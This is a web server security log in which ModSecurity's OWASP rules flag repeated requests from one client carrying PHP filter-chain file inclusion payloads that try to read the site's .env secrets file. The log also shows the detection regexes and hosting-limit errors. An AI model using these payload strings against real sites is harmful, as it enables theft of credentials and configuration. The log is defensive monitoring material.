[tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.311094 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env&debug=rrn1oka-sfliobyedy1hubcjgwils83h3esolz1kuyevn5rtfmebdzlhhgm7v6cpnwoe7ciisj154cx3ei8bsnyca7yr9ehcqbq6zdaralljbeezufwfgzodzdlkt2kwlixndwnwdu37ahipuc2dcnvgawjgqdmoqiigsjbyorjhqgfyhc_ef1udtvs9coxtzzb38fziivpcffnhiffhu-vqqtkggvrbfqefu4xgrglfjyvgqnaysnnjffxm-06pcbv0mjsqkoa0otohx3kjmice&cb=rungqx5ywjgikqyyswg274gsltcg5cuzjezol7v4bca7zjfogxbr2noxmuyptkvs7zatzgpzudtlb6..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.311130 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.311159 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.311495 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.utf-8.utf-16le/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.312495 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.312624 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.312907 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmFCBpfuYyhJ140vSfwAAAB4"]
[Fri Jul 17 08:55:12.314289 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&sid=fWMqU5K_noFoCZV_jo-pugVYsY_ok5ytih49aL7P34ogsSuQ9uGpT7UPyR2CZD_JGDZNpWMT8Trudd9SsZe9U850Saf9DJn_38P9w8dAgZqbz1-vcIeidrCWrEDeBmOebnPd64T8F_g_9MmKkMYAQh1OYnaGENRJYAxijGjm09khIERlJSkgCW7-WV3yFYJLqMlVhy-AVWduRSIvwp4wOBlhpdB6tYq5MAhDVJKEbaTpzCZ0uTl0Nep891qjt6kXWGBFxfNvxEkZbSsm-gqXvFHy&debug=3OILRSZKCPVKBVLDNWQGI7J2QLKHJ7X5I7HDTKI3OQKH5HRBVI..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.314329 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.314418 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env&sid=fWMqU5K_noFoCZV_jo-pugVYsY_ok5ytih49aL7P34ogsSuQ9uGpT7UPyR2CZD_JGDZNpWMT8Trudd9SsZe9U850Saf9DJn_38P9w8dAgZqbz1-vcIeidrCWrEDeBmOebnPd64T8F_g_9MmKkMYAQh1OYnaGENRJYAxijGjm09khIERlJSkgCW7-WV3yFYJLqMlVhy-AVWduRSIvwp4wOBlhpdB6tYq5MAhDVJKEbaTpzCZ0uTl0Nep891qjt6kXWGBFxfNvxEkZbSsm-gqXvFHy&debug=3OILRSZKCPVKBVLDNWQGI7J2QLKHJ7X5I7HDTKI3OQKH5HRBVIGAS65G5GXL3GID2OBQFLYFR4BO..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.314455 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env&sid=fwmqu5k_nofoczv_jo-pugvysy_ok5ytih49al7p34ogssuq9ugpt7upyr2czd_jgdznpwmt8trudd9ssze9u850saf9djn_38p9w8dagzqbz1-vcieidrcwredebmoebnpd64t8f_g_9mmkkmyaqh1oynagenrjyaxijgjm09khierljskgcw7-wv3yfyjlqmlvhy-avwdursivwp4woblhpdb6tyq5mahdvjkebatpzcz0utl0nep891qjt6kxwgbfxfnvxekzbssm-gqxvfhy&debug=3oilrszkcpvkbvldnwqgi7j2qlkhj7x5i7hdtki3oqkh5hrbvigas65g5gxl3gid2obqflyfr4bo..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.314490 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.314516 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.314901 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.315899 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.316017 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:12.316291 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgmA7FYe46zHK_jL3PqQAAABk"]
[Fri Jul 17 08:55:12.317779 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&log=php%3A%2F%2Ffilter%2Fconvert.iconv.UCS-2LE.UCS-2BE%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&cb=qGUvd-7nw_AJtxfvDr7mtujfN6VJr9hHXWSnQ4yWWm0_VZOvyToTt6JB3bNZr4673C1Z1MgoT9hOgavz0emlGf47X96asaiHo6bQb2PdpEd4dFfNBxt8WLk2OnyF0HVjK4C6TGUIec4kMhlAVrJNGas8sqEEMzdjL1utVwtPGcRf0xSuzPQgYNKDRZhbQGgSmk4y1KC0miPGPYd0hIJmpphOd0XOatozr7GhPBaRRor3gqXGam8zyHlDC4ep4bfMl5e0eSNjP8UBejBEjVpP6hlx&extra=JFQCWJFAUCR6FZH3TQ75UR2MF6734NN6LAN4Y3V53677VM..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.317836 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.317854 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kAAAABA"]
[Fri Jul 17 08:55:12.317876 2026] [security2:error] [pid 2014256:tid 2014256] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/zlib.deflate/convert.base64-encode/resource=../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmIZvbo7N5o5zeYC-PQAAABw"]
[Fri Jul 17 08:55:12.317929 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env&cb=qGUvd-7nw_AJtxfvDr7mtujfN6VJr9hHXWSnQ4yWWm0_VZOvyToTt6JB3bNZr4673C1Z1MgoT9hOgavz0emlGf47X96asaiHo6bQb2PdpEd4dFfNBxt8WLk2OnyF0HVjK4C6TGUIec4kMhlAVrJNGas8sqEEMzdjL1utVwtPGcRf0xSuzPQgYNKDRZhbQGgSmk4y1KC0miPGPYd0hIJmpphOd0XOatozr7GhPBaRRor3gqXGam8zyHlDC4ep4bfMl5e0eSNjP8UBejBEjVpP6hlx&extra=JFQCWJFAUCR6FZH3TQ75UR2MF6734NN6LAN4Y3V53677VMFDM4UQMOOJUMR7WRQQ626T5TJCEN..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.317995 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&log=php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env&cb=qguvd-7nw_ajtxfvdr7mtujfn6vjr9hhxwsnq4ywwm0_vzovytott6jb3bnzr4673c1z1mgot9hogavz0emlgf47x96asaiho6bqb2pdped4dffnbxt8wlk2onyf0hvjk4c6tguiec4kmhlavrjngas8sqeemzdjl1utvwtpgcrf0xsuzpqgynkdrzhbqggsmk4y1kc0mipgpyd0hijmpphod0xoatozr7ghpbarror3gqxgam8zyhldc4ep4bfml5e0esnjp8ubejbejvpp6hlx&extra=jfqcwjfaucr6fzh3tq75ur2mf6734nn6lan4y3v53677vmfdm4uqmoojumr7wrqq626t5tjcen..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.318066 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.318117 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:log: php://filter/convert.iconv.ucs-2le.ucs-2be/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.318585 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:log. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:log: php://filter/convert.iconv.UCS-2LE.UCS-2BE/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmFh1WDijTxd1xw5MPwAAAAc"]
[Fri Jul 17 08:55:12.318847 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgmEkXT4NBqALj2lZ8kAAAABA"]
[Fri Jul 17 08:55:12.318952 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
